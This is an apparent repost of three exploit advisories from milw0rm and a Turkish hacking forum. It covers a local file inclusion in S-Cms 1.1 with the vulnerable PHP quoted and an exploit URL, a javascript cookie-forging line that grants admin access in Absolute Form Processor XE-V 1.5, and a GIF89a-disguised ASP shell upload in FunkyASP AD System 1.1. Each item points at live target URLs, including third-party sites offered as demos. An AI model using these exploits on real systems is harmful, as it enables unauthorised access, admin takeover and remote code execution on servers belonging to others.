S-Cms 1.1 Stable (page) Local File Inclusion Vulnerability

kaynak: http://www.milw0rm.com/exploits/8566

kaynak: http://www.yildirimordulari.com/showthread.php?t=6244

file:

s-cms/plugin.php

code:

$page=$_GET['page'];        ( error 1 )


$sql_select_plugin_case= mysql_query("SELECT * FROM ".$prefix."_plugins WHERE active = '1' AND file='$page'");

if ($sql_select_plugin_case){

include "plugins/$page";    (error 2 )

exp:

yildirimordulari.com/s-cms/plugin.php?page=[File]

for demo:

http://www.nonsolomazzini.altervista.org/s-cms/plugin.php?page=[LFi]

Absolute Form Processor XE-V 1.5 Insecure Cookie Handling Vuln

kaynak: http://www.milw0rm.com/exploits/8529

kaynak: http://www.yildirimordulari.com/showthread.php?t=6138

exploit: 

javascript:document.cookie = "xlaAFPadmin=lvl=1&userid=1; path=/";

after you go here:

http://www.xigla.com/absolutefp/demo/menu.asp

FunkyASP AD System 1.1 Remote Shell Upload Vulnerability

kaynak: http://www.milw0rm.com/exploits/8397

kaynak: http://www.yildirimordulari.com/showthread.php?t=3955

first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.asp:

GIF89a;

...

...

...

?>

and save your_sheell.asp

you go to here:

http://yildirimordulari.com/demo/banner/admin.asp?action=upload

and your shell here:

http://yildirimordulari.com/demo/banner/banners/z.asp

for demo:

http://demo.funkyasp.com/demo/banner/admin.asp?action=upload

shell:

http://demo.funkyasp.com/demo/banner/banners/z.asp